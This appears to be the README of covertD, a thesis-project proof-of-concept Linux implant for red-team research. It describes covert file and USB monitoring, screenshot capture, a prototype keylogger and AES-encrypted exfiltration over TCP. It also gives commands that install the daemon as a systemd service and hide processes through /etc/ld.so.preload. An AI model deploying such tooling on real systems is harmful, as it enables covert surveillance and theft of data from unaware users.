___ ___ __ __ _____ ___
/ __\ /___\/\ /\/__\/__\/__ \/ \
/ / // //\ \ / /_\ / \// / /\/ /\ /
/ /___/ \_// \ V //__/ _ \ / / / /_//
\____/\___/ \_/\__/\/ \_/ \/ /___,'
A Red Team–oriented proof-of-concept for covert file monitoring and data exfiltration on Linux systems. Developed as a Bachelor's thesis project to explore stealth persistence, forensic evasion, and covert telemetry in secure environments.
- Real-time file monitoring using
inotify
- USB device detection via
libudev
- AES-encrypted log exfiltration via TCP
- Screenshot capture on active window change (
libX11
) - Optional ARP signaling for covert communication
- LD_PRELOAD-based stealth (hiding from
/proc
, readdir interception) - Deployable via
systemd
service - Keylogging module prototype (non-default)
- Static and dynamic code analysis performed (Clang Analyzer, Valgrind)
- Manually audited against CWE and logic bugs
- Complies with Class 3 FSTEC standards for absence of undocumented features
System | USB Detection | Keystroke Logging | Data Exfiltration | Process Hiding | Screenshots |
---|---|---|---|---|---|
Auditd | ✅ | ❌ | ❌ | ❌ | ❌ |
inotify-tools | ❌ | ❌ | ❌ | ❌ | ❌ |
Auditbeat | ✅ | ❌ | ✅ | ❌ | ❌ |
Sysdig | ✅ | ❌ | ❌ | ❌ | ✅ |
SprutMonitor (Win only) | ✅ | ✅ | ✅ | ✅ | ✅ |
covertD (this) | ✅ | ✅ (prototype) | ✅ (AES over TCP) | ✅ (LD_PRELOAD) | ✅ |
Install required libraries (Debian/Ubuntu/Kali):
sudo apt update
sudo apt install libssl-dev libudev-dev libpcap-dev libx11-dev libnet1-dev
make all
This builds:
coretaskd
— file monitoring daemonserver
— log receiver and decryptorscreenshot-decryptor
— optional PoC for visual log parsing
cp coretaskd /usr/local/bin/
cp coretaskd.service /etc/systemd/system/
systemctl daemon-reexec
systemctl enable coretaskd
systemctl start coretaskd
./server 9999
cd processhider
make
echo /full/path/to/libprocesshider.so >> /etc/ld.so.preload
main.c
– file and USB monitorserver.c
/decrypt.c
– listener with AES decryptioncoretask.sh
– deployment helper scriptprocesshider/
– LD_PRELOAD stealth libraryscreenshot-decryptor.c
– GUI window watcher and screenshot handler
- Astra Linux SE
- Ubuntu 22.04
- Wayland screenshot capture
- Cross-platform builds (Windows, macOS)
- Kernel-level rootkit integration
- Real-time USB block & alerting
Educational use only. Do not deploy without explicit authorization.
Originally developed as part of a Bachelor's thesis focused on secure file telemetry and stealth persistence mechanisms in hardened Linux environments. Designed for use in Red Team training, malware research, and threat simulation labs.